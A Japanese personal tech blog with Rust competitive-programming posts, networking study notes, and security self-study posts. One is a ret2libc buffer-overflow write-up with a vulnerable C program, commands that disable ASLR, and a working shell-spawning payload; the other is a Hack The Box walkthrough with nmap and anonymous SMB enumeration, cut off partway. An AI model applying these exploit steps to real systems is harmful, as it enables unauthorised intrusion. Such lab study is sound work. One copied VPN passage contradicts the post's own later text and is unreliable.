空飛ぶ木造船

借り物ばかりの備忘録です。意味のあるものになると嬉しいです。

ABC253 C - Max - Min Queryについて

競技プログラミング

ABC253 C - Max - Min Queryについて、コンテスト中に自分が解いた方法とその理論的な解説、そして想定解法に沿った解答を確認したいと思います。

問題の要約

多重集合 Sに Q個のクエリが与えられるので、それらを処理する問題です。クエリは以下の三種類があります。

  • 1 x: Sに xを一つ追加
  • 2 x c: Sから xを \min(c, (S に含まれる x の個数 ))個削除する。
  • 3: ( Sの最大値)−( Sの最小値)を出力する。このクエリを処理するとき、 Sが空でないことが保証される。

コンテスト中に書いた解法と計算量

自分が考えた解き方は、辞書式配列mapと二つのヒープmax_heapとmin_heapを用意し、mapで要素の個数を管理しmax_heapで最大値、min_heapで最小値を取ることができるようにするというものでした。 実装は以下の通りになります。

use proconio::*;
use std::cmp::{min, Reverse};
use std::collections::{BinaryHeap, HashMap};

fn main() {
    input! {q: usize}

    let mut map = HashMap::new();
    let mut max_heap = BinaryHeap::new();
    let mut min_heap = BinaryHeap::new();

    for _ in 0..q {
        input! {kind: usize}

        match kind {
            1 => {
                input! {x: usize}
                *map.entry(x).or_insert(0) += 1;
                if map[&x] == 1 {
                    max_heap.push(x);
                    min_heap.push(Reverse(x));
                }
            }
            2 => {
                input! {
                    x: usize, c:usize
                }

                if map.contains_key(&x) {
                    *map.get_mut(&x).unwrap() -= min(c, map[&x]);
                }
            }
            3 => {
                let mut max;
                let mut min;
                loop {
                    let &m = max_heap.peek().unwrap();
                    if map[&m] > 0 {
                        max = m;
                        break;
                    } else {
                        max_heap.pop();
                    }
                }

                loop {
                    let &Reverse(m) = min_heap.peek().unwrap();
                    if map[&m] > 0 {
                        min = m;
                        break;
                    } else {
                        min_heap.pop();
                    }
                }

                println!("{}", max - min);
            }
            _ => return,
        }
    }
}

どうやらユーザー解説をみるとこの解法はmultisetがない場合の想定解のようなものだったようです。

ここで、一つ懸念点となるのが既に削除された値が最小値・最大値の候補になる場合です。この場合、候補の値が既にmap上で0個となっていれば(= 値が削除済み)、次の最大値・最小値をさらに確認し、それがmap上で1個以上の値を持っていればそれを最大値・最小値として出力します。この方法だと、例えば最大値の候補となる値が N個連続で軒並み削除済みの値であれば計算量が O(N \log N)になってしまいそうです。

この場合についての計算量をならし計算量(償却計算量)で考えます。まず一度の削除にかかる計算量はmap上の値を書き換えるだけなので O(1)です。そして、削除を N回行った後に最大値を出力しようとしてmax_heapから N回pop()を行うので、この計算量は O(N \log N)となりますが、これを連続した N回の操作全体で平均してやると、計算量は O(\log N)となります。

よって削除にかかる計算量も O(\log N)となります。上記の議論は [Python] heapqを応用して挿入/削除/最小値取得を効率的に行うを参考にしています。

想定解のRustによる実装

公式解説によれば、C++のmultisetクラスを利用するようなので、それと似たような機能をもつ構造体MultiSetを実装して解きます。 実装にあたっては記事Rustでmultisetもどき（ABC170 - E）を参考にHashSetやBTreeMapの要素の型をちょっと抽象化してみました。なんちゃって実装ですが、よかったら参考にしてください。

use proconio::*;
use std::cmp::min;
use std::collections::{BTreeSet, HashMap};
use std::hash::Hash;

struct MultiSet<T> {
    map: HashMap<T, usize>,
    set: BTreeSet<T>,
}

// 重複集合: 要素の重複を許し、要素が一意(= この場合は昇順)に並んだ集合
impl<T> MultiSet<T>
where
    T: Eq + Hash + Ord + Copy,
{
    fn new() -> Self {
        Self {
            map: HashMap::new(),
            set: BTreeSet::new(),
        }
    }

    // 重複許可挿入
    fn insert(&mut self, v: T) {
        *self.map.entry(v).or_insert(0) += 1;
        // setに要素がない場合は追加
        if self.map[&v] == 1 {
            self.set.insert(v);
        }
    }

    // 要素を一つ削除し、削除した要素を返す
    fn erase(&mut self, v: T) -> Option<T> {
        if !self.map.contains_key(&v) || self.map[&v] == 0 {
            return None;
        }

        *self.map.get_mut(&v).unwrap() -= 1;
        if self.map[&v] == 0 {
            self.set.take(&v);
        }
        Some(v)
    }

    // 要素vをc個削除。要素vがc個以下の場合はvの個数を0にする
    fn delete(&mut self, v: T, c: usize) {
        if !self.map.contains_key(&v) || self.map[&v] == 0 {
            return;
        }

        *self.map.get_mut(&v).unwrap() -= min(c, self.map[&v]);
        if self.map[&v] == 0 {
            self.set.take(&v);
        }
    }

    // 最大値を取得
    fn max(&self) -> Option<T> {
        if let Some(&v) = self.set.iter().last() {
            Some(v)
        } else {
            None
        }
    }

    // 最小値を取得
    fn min(&self) -> Option<T> {
        if let Some(&v) = self.set.iter().next() {
            Some(v)
        } else {
            None
        }
    }
}

fn main() {
    input! {q: usize}

    let mut multiset = MultiSet::new();

    for _ in 0..q {
        input! {kind: usize}

        match kind {
            1 => {
                input! {x: usize}
                multiset.insert(x);
            }
            2 => {
                input! {
                    x: usize, c:usize
                }
                multiset.delete(x, c);
            }
            3 => {
                println!("{}", multiset.max().unwrap() - multiset.min().unwrap());
            }
            _ => return,
        }
    }
}

参考文献

強連結成分分解のRustによる実装

競技プログラミング

説明

AtCoder典型90問の第21問目、Come Back in One Pieceで初めて強連結成分分解について知ったので、自力で実装してみました。

強連結成分分解(Strongly-Connected-Components, SCC)とは、有向グラフにおいてお互いに行き来可能な頂点を一つのグループにまとめるような頂点の分割です。 強連結成分分解は次のようなアルゴリズムで行われます。

  1. ある頂点から帰り掛け順DFSによって頂点に番号をつける。これを全ての頂点に番号付けができるまで繰り返す。
  2. 全てのエッジを逆向きにする。
  3. 1でつけた番号が最も大きい頂点から、逆向きのグラフ上で到達可能な頂点集合を同じグループとみなす。これを全ての頂点を取り尽くすまで繰り返す。

計算量は深さ優先探索なので、 O(|V| + |E|) です。

実装

Rustによる実装は以下のようになります。実装は強連結成分分解を参考に、DFSを再帰ではなくスタックベースで実装しています。

use proconio::marker::Usize1;
use proconio::*;
use std::collections::VecDeque;

struct SCC {
    g: Vec<Vec<usize>>,
    r_g: Vec<Vec<usize>>,
    post_order: VecDeque<usize>,
    visited: Vec<bool>,
}

impl SCC {
    fn new(nodes: usize, edges: &Vec<(usize, usize)>) -> Self {
        let mut g = vec![vec![]; nodes];
        let mut r_g = vec![vec![]; nodes];
        for edge in edges {
            g[edge.0].push(edge.1);
            r_g[edge.1].push(edge.0);
        }

        Self {
            g,
            r_g,
            post_order: VecDeque::new(),
            visited: vec![false; nodes],
        }
    }

    // 帰り掛け順でノードを記録する
    fn dfs(&mut self, u: usize) {
        let mut stack = vec![u];
        while let Some(v) = stack.pop() {
            if !self.visited[v] {
                // 行き
                self.visited[v] = true;
                stack.push(v);

                for &w in &self.g[v] {
                    if !self.visited[w] {
                        stack.push(w);
                    }
                }
            } else {
                // 帰り
                self.post_order.push_front(v);
            }
        }
    }

    // 各エッジを逆向きにしたグラフ上で到達可能なノード集合を調べる
    fn rdfs(&mut self, u: usize) -> Vec<usize> {
        let mut stack = vec![u];
        let mut scc = Vec::new();
        while let Some(v) = stack.pop() {
            self.visited[v] = true;
            scc.push(v);
            for &u in &self.r_g[v] {
                if !self.visited[u] {
                    stack.push(u);
                }
            }
        }
        scc
    }

    // 強連結成分を求める
    fn build(&mut self) -> Vec<Vec<usize>> {
        for v in 0..self.g.len() {
            if !self.visited[v] {
                self.dfs(v);
            }
        }

        self.visited = vec![false; self.g.len()];
        let mut sccs = Vec::new();
        for i in 0..self.post_order.len() {
            let v = self.post_order[i];
            if !self.visited[v] {
                sccs.push(self.rdfs(v));
            }
        }
        sccs
    }
}

#[fastout]
fn main() {
    input! {
        n: usize, m: usize,
        edges: [(Usize1, Usize1); m],
    }

    let mut scc = SCC::new(n, &edges);
    let sccs = scc.build();
    println!("{:?}", sccs);
}

参考文献

VPNについて

情報処理安全確保支援士

はじめに

4月に迫る情報処理安全確保支援士資格の勉強中のために本を読んでいたのですが、VPNについての内容が頭に上手く入ってこなかったので、記事の形で整理をすることにしました。本の内容をもとに自分で調べた情報を加えて記事にしていますので、一部不正確な部分もあるかもしれません。間違った記述があればコメントで指摘してください。

VPNとは

VPN(Virtual Private Network: 仮想私設網)とは、以下の特徴をもつ通信をインターネットなど既存のネットワーク上で実現する仕組みのことです。

  • 通信を第三者に盗聴されない
  • 通信内容を第三者に改ざんされない
  • 通信相手のなりすましがない

VPNの種類

利用する回線による分別

  • インターネットVPN: インターネットを利用したVPN
  • IP-VPN(閉域VPN): 通信事業者が構築した閉域IP網を利用するVPN

接続形態による分別

  • リモートアクセスVPN: 外部から内部LANを利用するためのVPN
  • 拠点間接続VPN: 拠点間のLANを接続するためのVPN

代表的なプロトコルについて

IPsec-VPN

概要

IPsec(Security Architecture for Internet Protocol)とは、暗号化によってパケットの秘匿や改ざん検知を実現するプロトコルです。主にインターネットを介して拠点間を接続する、インターネットVPNを実現するためのプロトコルとして広く利用されています。

IPsecを使って通信する際に利用する論理的な通信路(コネクション)はSA(Security Association)と呼ばれます。このSAを確立する際、暗号化のための鍵を交換するためのプロトコルがIKE(Internet Key Exchange protocol)です。

またIPsecには、認証と改ざん防止のみを行うAH(Authentication Header)と、データの暗号化を行うESP(Encapsulated Security Payload)の2つのプロトコルがあるほか、データ部分のみを暗号化するトランスポートモードと、ヘッダとデータの両方を暗号化するトンネルモードがあります。IPsecを用いたインターネットVPNによって拠点間を接続する場合には、トランスポートモードを利用します。

引用元: IPsecとは

引用元から直接コピーをしたため、下にある運用モードの節にある本の内容と上記の節の最後の部分が矛盾しています。

IPsecポリシ

IPsecでは、パケットをどう処理するかをIPsecポリシによって決めます。IPsecポリシには次の3つがあります。

  1. PROTECT: IPsecによってパケットを暗号化する
  2. BYPASS: 暗号化せず、そのまま中継する
  3. DISCARD: パケットを破棄する

そして、どの送信元からどこの宛先へのパケットに対してどのポリシを適用するかをSPD(Security Policy Database)に登録します。

IPsecで通信を行う機器は、最初にSPDを検索してパケットの処理方法を決定します。処理方法がPROTECTの場合はSAD(以下で説明)内を検索して、該当する方法によってIPパケットの暗号化やメッセージ認証符号(MAC)の生成を行います。

SA(Security Association)

IPsecで通信する場合、暗号化アルゴリズム・メッセージ認証アルゴリズム・暗号化鍵・メッセージ認証鍵・IPsec運用モードなどの情報(SAパラメタ)が機器間で一致していないと通信できません。これらについて具体的に何を使うのかを取り決めたものをSA(Security Association)といいます。

SAは単方向の概念です。したがって、例えばホストAとホストB間でIPsec通信を行う場合、ホストA→ホストBのSAとホストB→ホストAのSAの二つのSAが作られます。つまり、一つのコネクションに対して2つのSAができるのです。

作られたSAにはSPI(Security Parameter Index)と呼ばれる32bitの番号がつき、SAD(Security Association Database)に記録されます。そして、IPsec通信を行なっている間、SADを参照します。

運用モード

IPsecにはトンネルモードとトランスポートモードの二つの運用モードがあります。

  • トンネルモード

トンネルモードは、IPパケットのヘッダとデータの両方を暗号化するモードで、拠点LAN間にVPNを構築する際に利用します。ネットワークにVPN装置を設置し、VPN装置でIPパケットの暗号化・復号を行います。

  • トランスポートモード

トランスポートモードはIPパケットのデータ部分のみを暗号化するモードで、ホスト間(末端のデバイス同士)にVPNを構築する際に利用します。ホストのOSがIPsecによる通信に対応している必要があります。

3つのプロコトル

AH(Authentication Header)

AHはパケットの改ざんを検出するためのプロトコルです。パケット全体が改ざんの検証対象(認証範囲)です。パケットの改ざんを検出するためのMAC(メッセージ認証符号)は、AHヘッダに格納されます。

AH

ESP(Encapsulated Security Payload)

ESPはパケットの暗号化・パケットの改ざん検出を行うためのプロトコルです。ESPを用いる場合、AHを用いなくてもパケットの改ざん検出を行うことができます。ESP認証データには、パケットの改ざんを検出するためのMACを格納しています。

ESP

IKE(Internet Key Exchange)

IKEは暗号通信やメッセージ認証に用いる共通鍵を取り決めるための鍵交換プロトコルです。鍵交換と一緒にユーザ認証を行うこともあります。IKEにはバージョン1(IKEv1)とバージョン2(IKEv2)があります。

IKEでは、IKE-SAとIPsec-SAの2種類のSAを構築します。最初にIKE-SAでIPsec-SAの暗号鍵・認証鍵を暗号化して送るために利用する暗号鍵を取り決めます。次にIPsec-SAでIPsec通信時に利用する暗号鍵・認証鍵を取り決めます。なお、IKE-SAはIKEv2での名称で、IKEv1ではISAKMP-SAと呼びます。

IKEv1はフェーズ1とフェーズ2に別れており、フェーズ1でISAKMP-SAの構築を行い、フェーズ2でIPsec-SAの構築を行います。さらに、フェーズ1ではメインモードとアグレッシブモードがあります。これらの違いは、運用の観点からIPアドレスを固定しておく必要があるか否かです。

  • メインモード

    • 合計6回の通信でSAを構築する
    • アグレッシブモードに比べてセキュリティレベルが高い
    • IPアドレスを利用して機器の識別を行うため、固定のIPアドレスが必要

  • アグレッシブモード

IKEv2はIKEv1が拡張、改良を繰り返し非常に複雑になってしまったので、仕切り直して一から作り直したものです。そのため、上記のような複雑なフェーズではなく、またIKEv1とv2の間には互換性もありません。

NAPT利用時の対策

AHやESPにはTCP/UDPヘッダがありません。NAPTはポート番号を変換するので、TCP/UDPヘッダがないとポート番号を扱うことができず動作しません。このような理由から、NAPTとIPsecを併用すると問題が発生します。この問題を解決する方法としてVPNパススルーとNATトラバーサルがあります。

VPNパススルー

VPNパススルーではポート番号の変換は使わずに、IPアドレスだけを変換して通信します。IPsecのパケットを特別扱いして、常にLAN内の特定のホストへ転送します。この結果、ポート番号の変換は不要になりますが、LAN内の複数のホストが同時にIPsec通信を行うことができません。VPNパススルーはIPsecパススルーともいいます。

NATトラバーサル

NATトラバーサルでは、IPsecパケットにUDPヘッダを付け加えて、ポート番号を変換できるようにします。これをUPDエンカプセレーションといいます。IKEでSAを構築する際には、経路途中でNAPT機器があるかどうかを調べて、NAPT機器を検出した場合は、UDPヘッダを付け加えて通信します。NATトラバーサルではLAN内の複数のホストが同時にIPsec通信を行うことができます。

L2TP/IPsec

L2TP/IPsecはリモートアクセスVPNを実現するために広く用いられている方法です。

L2TP

L2TPは、Layer 2 Tunneling Protocolの略で、文字通りデータリンク層（第2層）においてある機器から任意のアドレスの別の機器まで仮想トンネルを作成し（トンネリング）、データを送受信するためのプロトコルです。仮想トンネルを作成し、PPP接続を確立することでVPN接続できます。

引用元: L2TPとは？メリット2つとプロトコル4種類についても解説！

L2TPでは、下図のようにPPPフレームをカプセル化します。PPPではIP以外のプロトコルを扱うこともできます。

L2TP

また、L2TPではPPPと同じく、PAPやCHAPによる接続時のユーザ認証を行うことができます。この点から、リモートアクセスVPNでの利用に適しています。

IPsecとの併用

L2TPには、暗号化機能が備わっていないので、インターネット上で通信内容を盗聴される恐れがあります。そのため、暗号化通信を実現するためにIPsecを併用しESPによってL2TPパケットを暗号化して送ります。このとき、IPsecのトランスポートモードを利用します。L2TPで既にトネリングしているので、IPsecでは再度トンネルを作る必要がないからです。

L2TP/IPsec

IPsecのトンネルモードを利用すればL2TPを利用する必要がないように思われますが、IPsecは通常ユニキャストの通信しか扱わないので、ブロードキャストやマルチキャスト通信を扱いたいときには別のトネリングプロコトルを利用する必要があります。例えばDHCPはブロードキャスト通信を行います。外部へ持ち出した機器に、VPNで利用するIPアドレスをDHCPを利用して設定したい場合には、IPsecトンネルモードを利用することができません。

TLS/SSL-VPN

特徴

TLS/SSL-VPNはTLS/SSLを利用して暗号化・認証を行うVPNです。次のような特徴があります。

  • クライアントにWebブラウザがあれば利用できる
  • NAPTの影響を受けない
  • 公開鍵証明書を利用したサーバ認証・クライアント認証ができる
  • ブラウザ上でのユーザ認証をおこなるためユーザにわかりやすい

リバースプロシキ方式

VPN装置がリバースプロシキとして動作することによって、LAN内の機器に接続する方式です。一般的に、リバースプロシキサーバはHTTPを代理中継するプロシキサーバなので、この方式の場合、LAN内のWebアプリケーションのみを利用できます。

L2フォワーディング方式

L2フォワーディングは、アプリケーションのデータをHTTPのパケットに入れてカプセル化し、SSLで暗号化する方式です。カプセル化するデータは、サーバのポート番号やIPアドレスなどが含まれたデータ (OSI参照モデルでいうところの第二層(Layer 2)のデータ)であるため、“L2”フォワーディング方式、または”L2”カプセル方式と呼ばれます。L2フォワーディング方式では、ポートフォワーディング方式と異なり、VPN装置側で定義ファイルにポート番号を設定しておく必要がないことから、幅広いアプリケーションをサポートすることが可能です。

引用元：SSL-VPN 入門

L2フォワーディング方式では、VPNソフトで仮想NICを実現します。

SSH

SSH(Secure SHell)は、クラウド上のサーバなどにリモートログインする場合に利用するアプリケーション(コマンド)です。リモートログインに関する通信を暗号化します。

SSHでは、リモートログインを行う際に、パスワードによるユーザ認証の他に公開鍵を利用したユーザ認証も可能です。リモートログイン先のサーバにユーザの公開鍵を登録し、ユーザがリモートログインする際に秘密鍵を利用します。

さらに、SSHにはポートフォワーディングと呼ばれる機能もあります。ポートフォワーディング機能を利用することによって、IPパケットを暗号化して対向ホストへ送信することができます。つまり、IPパケットをトンネリングさせて、簡易的なリモートアクセスVPNを作ることができます。

IP-VPN

IP-VPNは通信事業者あ提供するWAN通信サービスのひとつです。インターネットVPNとは異なり、インターネットは利用せず、代わりに通信事業者が構築したネットワークを利用します。IP-VPNサービスを利用することによって拠点間VPNを実現することができます。

インターネットはさまざまなネットワークが接続されてできている通信網なので、特定の通信事業者が全体をコントロールすることができません。一方、通信事業者が自ら構築したネットワーク(=閉域網)では通信事業者が通信の流れを自由にコントロールできます。よって、IP-VPNでは通信の品質を通信事業者が保証できます。

IP-VPNの利点と欠点は以下のようになります。

  • 利点
    • 通信速度や信頼性などの通信品質を一定に保てる
    • ルータがあれば利用でき、特別な機材は不要
    • 拠点間で接続するためにグローバルIPが不要
  • 欠点
    • インターネットVPNを構築する場合と比較して費用が高い
    • IP-VPNサービスを利用するためのアクセスポイントが拠点近くにないとアクセス回線の運用費が高額となり使いにくい
    • IPガイのプロトコルの伝送が行えない

参考文献

HLSとDASHについて

ライブ配信

ライブ配信技術について調べる中でよく利用されているプロトコルHLSとDASHについて相似点と相違点をまとめました。素人知識でRFCなどを参照せずにとりあえずまとめたので、間違いがあるかもしれません。見つけ次第修正したいと思います。

HLS(HTTP Live Streaming)とDASH(MPEG-DASH: Dynamic Adaptive Streaming over HTTP)はともにHTTP上で動画をストリーミング方式で配信するためのプロトコルです。どちらもオンデマンド配信・ライブ配信に利用可能です。

大まかな流れ

HLSとDASHでは次のような流れで動画を配信します。

  1. エンコーディング
    配信する動画を特定の方式でエンコーディングします。
  2. セグメンテーション
    配信する動画を数秒単位でセグメントに分割します。このとき同時にセグメントの順番がわかるようにインデックスファイルを作成します。
  3. 配信
    セグメント化された動画をクライアントの元まで送信します。
  4. デコーディングと再生
    クライアントのデバイスでインデックスファイルを参照して動画ファイルを正しい順番に並べ、デコードして再生します。

アダプティブビットレートストリーミングとは

アダプティブビットレートストリーミングは、ネットワークの状態が変化したときに、ストリームの途中で動画の画質を調整する機能です。MPEG-DASHとHLSはどちらもこの機能を持っています。

動画を配信するサーバがいくつかの画質(480p、720p、1080pなど)であらかじめ動画セグメントをエンコードして多くことで、動画を中断することなく画質を切り替えることができます。このようにすることで、ネットワーク帯域幅が突然減少した場合にビデオが完全に停止するのを防いでいます。

相違点について

HLSとDASHは以下の4点で異なっています。

参考文献

ライブストリーミングについての基本知識

ライブ配信

はじめに

最近急にライブストリーミングサービスを簡単に自分で作りたい、もっといえば以前に考えた寮生大会アプリを作ってみたいと思い、その一番のキモと思われるライブストリーム機能に着手しようと考えました。しかし、この世にある動画・ライブ配信サービスがどのように構成されているのか全くわからなかったので、基本的なことについて調べてまとめてみました。知識0の状態から調べたので不正確な部分が多々あるかとは思いますが、間違いは見つけ次第修正しようと思うのでどうかご容赦ください。

ライブストリーミングの構成要素

おそらくライブ配信サービスを作ろうと思った時には、最低限以下の要素を考える必要があると思います。

  • 通信プロトコル
    動画・ライブ映像をリアルタイムでストリーミング配信するのに適しているプロトコル
  • マルチメディアコンテナ
    映像や音声、その他ファイルなどの複数の個別データを単一ファイル(コンテナ)に格納するための規格
  • コーデック
    映像を圧縮(エンコード)・復元(デコード)するアルゴリズム

ライブストリーミングの大まかな構造

おそらく下のようないくつかのモデルが考えられるのだと思いますが、とても不正確です。参考にせずご自分で今一度調べてください。

Youtube Live Discord chat

通信プロトコルについて

メディアコンテナについて

  • MPEG-2 TS(mpegts/mpeg2ts)
    地上波デジタルや Blu-ray/DVD などで使われるコンテナ
  • MP4(quicktime mov)
    QuickTimeのmovが元となって作られたコンテナ。Movie Fragmentという3GPP規格もあり分割された映像として記録もできる。
  • flv(rtmp)
    FlashVideo で利用できるコンテナ。映像・音声以外にもファイルやスクリプトも埋め込める。

コーデックについて

  • H.264(AVC = Advanced Video Coding)
    動画圧縮形式。フレーム間予測やエントロピー符号化方式など高い圧縮率をもち、4K までの映像を扱うことができる。
  • H.265(HEVC = High Efficiency Video Coding)
    H.264の後継でH.264におけるブロックノイズの低減や同ビットレートでも40%近い圧縮率を出せる。
  • VP6/VP8/VP9
    On2のビデオコーデックの一つ、VP6はH.264よりも高い圧縮率とデコードが早い。

参考文献

策謀本のret2libcをやってみた

exploit

はじめに

策謀本を読み始めてはや2年、長期休みのたびに挑戦しては少しずつ読み進めていましたが、今日でやっと第6章まで読み切ることができました。自分の知識不足であったり本に書かれてる環境と現在の環境が変わっている所があったりして、かなり苦労したり一部再現できないまま断念したりしていますが、一応この本についてはすべきことは終わったという気でいます。本当は次に暗号について書かれている章があるのですが、これについては別の本を読むのでも良いかなと思っているので、僕的には策謀本は終わりです。

終わった記念に一番最後に実行できたp.436(0x6b2)のret2libcについて自分が理解したことや詰まったポイントについてまとめておきたいと思います。

スタックの構造と攻撃用のバイト列

攻撃の対象となるコードは以下の通りです。

#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[]) {
    char buffer[5];
    strcpy(buffer, argv[1]);
    return 0;
}

6行目のstrspy関数にはバッファオーバーフローの脆弱性があるので、これを利用して今回はlibc内のsystem関数を呼び出し、そこからシェルを起動したいと思います。 そのためにまずこのプログラムのメモリ上の構造を見ていきたいと思います。

スタックの構造

このプログラムをできるだけ策謀本が想定している通りにコンパイルするために、以下のようなコマンドでコンパイルを行いました。

vuln: vuln.c
    sudo chmod u+s vuln
    sudo sysctl -w kernel.randomize_va_space=0
    gcc -no-pie -fno-stack-protector -m32 -g -mpreferred-stack-boundary=2 vuln.c -o vuln
    sudo chown root vuln

32bitでコンパイルして呼び出し規約をcdecl(多分)にし、ASLRやスタックの保護を無効にしています。 また、-mpreferred-stack-boundary=2はデフォルトでは16byte境界にスタックポインタを並べるのに対し、このオプションを設定すると4byte境界に並べるようになるらしいです。 これが具体的にどのように影響しているのかはわかりませんが、これを設定することでリターンアドレスの位置を以降に述べる方法で見つけられるようになりました。 加えて、これ以前の攻撃対象についてはコンパイル時のオプションとして-z execstackをつけてスタック領域でシェルコードを実行していましたが、今回はret2libcなのでスタック領域での命令実行を無効にしています。 このとき、スタック上のメモリ構造は以下のようになっています(多分)。

一般的なコールスタック

今回ローカル変数bufferに対して好きなだけ書き込みができるので、main関数の呼び出し元__libc_start_mainへ戻るためのアドレスを上書きすることで制御の流れを書き換えます。具体的には、bufferの領域からはみ出て(A)の戻りアドレスの部分を標準ライブラリ内に存在するsystem関数のアドレスを書き込みます。 そのために、以下のことをする必要があります。

  1. bufferから(A)の領域へのオフセットを調べる
  2. 動的にリンクされるlibc内のsystem関数のアドレスを調べる
  3. libcの中から文字列"/bin/sh"のアドレスを調べる

3についてですが、system関数に実行するプログラム(今回はシェル)のパスを表す文字列へのアドレスを引数として渡す必要があるので、それをlibc内から供給します。

オフセットの調査

gdbのpattcとpattoを利用して戻りアドレスの位置を調べます。 これは次のようにpattcコマンドで長めの入力を生成し、その後不正な戻りアドレスにアクセスした際のアドレスを文字列化したものがpattcコマンドで生成した文字列のどこに位置するかによって、オフセットを調べることができます。

オフセットの調査の様子

写真の中で、0x416e4141にアクセスしようとしてSegmentation faultを起こしています。このアドレスの数値をASCIIコードに直すと"AnAA"となります。"AnAA"の最初の'A'がはじめから14文字目だとわかったので、オフセットは13byteです。

system関数と"/bin/sh"のアドレス

次にsystem関数と"/bin/sh"のアドレスを調べます。 これらは動的に読み込まれるlibc上に存在するので、プログラムの実行をgdb-peda$ b mainなどで途中で止めた状態で調べる必要があります。

system関数と文字列のアドレス

攻撃用のコマンドライン引数について

いよいよ攻撃用のコマンドライン引数を作成します。

ペイロード

上の画像にあるようにペイロードは 13byteの埋め草 + system関数のアドレス + 戻りアドレス + system関数の引数("/bin/sh"へのアドレス)という構造になります。 このときの「戻りアドレス」とは、system関数から呼び出し元に戻るためのアドレスになるのですが、今回の場合シェルを呼び出した後どこかに制御を戻すことは考えなくて良いため、適当な4byteの文字列を入れておきます。 また、アドレスの部分についてはリトルエンディアンで解釈されるため、逆順に並べています。 そのため以下のようなコードを実行することでret2libc攻撃が成立します。

> sudo ./vuln $(python -c 'print("A"*13 + "\x50\x62\xe1\xf7FAKE\x31\x5e\xf5\xf7")')

余談ですが、このようなバイト列に足してペイロードという表現を使っても問題ないのか、もっといえばセキュリティの分野でペイロードという言葉が指すものが一体何なのか、未だによくわかっていないので、誰か教えてくれると嬉しいです。

困った点

はじめ、"/bin/sh"へのアドレスを供給するために環境変数に"/bin/sh"を設定して、そのアドレスをペイロードに含めていたのですが、これを実行してもうまくいきませんでした。gdbで実行した場合の結果を見るにおそらく環境変数PATHを指していたようだったので、これではない方法でアドレスを供給しようと思い、ほかのret2libcの記事に書いてあるようにlibc内の"/bin/sh"のアドレスを使うようにしました。

また、初めコンパイル時に-mpreferred-stack-boundary=2のオプションを付けずにコンパイルしていたのですが、それではmain関数からの戻りアドレス(__libc_start_mainへの戻りアドレス)がうまく調べることができませんでした。具体的には、アドレスを上書きした部分の値がpattoで生成した文字列に含まれない文字列になってしまいました。これがなぜ解決したのか、このオプションを付けない状態でオフセットを特定するにはどうしたらよいのかなど全くわかっておらず、とりあえず詳しい人にこのオプションを付けると良いと言われてその通りにしただけなので、この点について今後調べられたら改善したいです。

参考文献

Hack The Box: Starting Point - Archtypeのメモと感想

Hack The Box

はじめに

セキュリティ、というよりいわゆる"ハッキング"というものに興味を持って以来、策謀本を読んだり、常設のCTFに挑戦したりなどしてきたのですが、ついにPentestにも手を出してみることにしました。本での学習もCTFもまだまだなのですが、手を広げながら色々やっていく方が楽しめるかと思ってとりあえず始めてみました。Hack The Boxのアカウントをとること自体は随分前にやっていたのですが、どうにも諸々の設定などで挫折してしまっていたので今回やり切れてよかったです。 この記事では初めてrootをとる過程で苦労したことや調べたことをまとめておきます。まだ初心者であるためWalkthroughをガン見しながらやったのですが、所々動機がわからない動作があったので色々悩みました。それらの一部はまだ解決できていないですが、それもそのまま書こうと思います。

VPN接続

HTBは基本的にマシンを攻略する際にVPN接続する必要があるそうです。私ははじめ誤解していたのですが、攻略するマシンに対してVPN接続を行うのではなく、VPN接続をした対象のマシンからさらに攻略するマシンへと通信を行うようです。おそらくですが、マシンを攻撃できる人を限定するために、一度VPN接続をおこない、そこからの攻撃のみを受け付けるようにしているのだと思います。違うかもしれません。 チュートリアルのVPN接続についてのページを見つつConnection Pack（VPN接続の設定等がかかれたファイル）をダウンロードし、いわれるがまま次のコマンドを叩いてみます。

$ sudo openvpn example.ovpn

exampleの部分はユーザーによって異なります。

詰まったところ

無事VPN接続をし、Initialization Sequence Completedの文字が表示されましたが、そのあとに書いてあるnmapコマンドの動作がどうもよろしくないのでしばらく原因をさがしたところ、どうやらマシン攻略用にあつらえた仮想マシンのネットワーク設定がまずかったようでした。仮想マシンのネットワークの設定がNATになっていたものをブリッジアダプタに変更するとうまくいきました また、openvpnコマンドを実行したターミナルはVPNを繋いである間他のことができなくなること(このことをもっと名詞的に指す言葉がある気がする)をわかっていなかったので初めの間少し戸惑いました。これ以降はopenvpnはバックグラウンドで実行してみてもいいかもなと思いました。

ポートスキャン

いよいよハッキングぽくなってくるポートスキャンをしていきます。これまたチュートリアルに書かれているとおりに次のを打ちます。

$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

10.10.10.27は今回の攻略対象のマシンのIPアドレスです。このコマンドは開いているポートを調べ、それらをカンマ区切りの形に整理するという感じで動作します。ただ結果を変数$portsに格納してしまうので、視覚的に結果を確認したい場合は$(...)の中身を別個で実行するか、$ echo $portsとすれば確認することができます。 ポートスキャンの結果1 次に以下のコマンドを実行します。

$ nmap -sC -sV -p$ports 10.10.10.27

これで各ポートについて詳しい情報を見ていきます。各オプションの意味は以下の通りです。

  • -sC: デフォルトのスクリプトでスキャン（--script=defaultと同じ動作）
  • -sV: 空いているポートに繋がっているサービスやそのバージョンを特定する

ポートスキャンの結果2 ポートスキャンの結果3 結果をみると、SQLサーバがポート1433で、SMB*1サーバがポート445で待ち受けていることが分かるらしいです。正直僕には分からなかったです。具体的には他にもMicrosoft Windows RPCなどのサービスが動いているのに、これらのサービスを対象にする理由がわからなかったです。しかし、おそらくは試行錯誤してみて攻撃ができそうなサービスがこれら二つだったということなのだと思います。

SMBへのアクセス

というわけで、まずはSMBにアクセスしてみます。

$ smbclient -N -L \\\\10.10.10.27\\

  • -N: パスワードなしで実行
  • -L: サーバー上で利用可能なサービス一覧を表示
  • \\server\service: 実行対処を指定。serverはNetBios名。

結果:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
 SMB1 disabled -- no workgroup available

backupsというshareにはパスワードなしで入れるので中身を確認してみます。

smb: \> dir

 .                      D        0  Mon Jan 20 21:20:57 2020
 ..                     D        0  Mon Jan 20 21:20:57 2020
 prod.dtsConfig        AR      609  Mon Jan 20 21:23:02 2020

dtsConfigファイルはSQL ServerというMicrosoftのRDBMSの追加機能であるSSISで用いられているconfigファイルらしいです。ちょっとよくわかってはいませんが、とにかくファイルを取得してみます。

smb: \> get prod.dtsConfig

このファイルの中身は次のようになっています。

 <DTSConfiguration>
     <DTSConfigurationHeading>
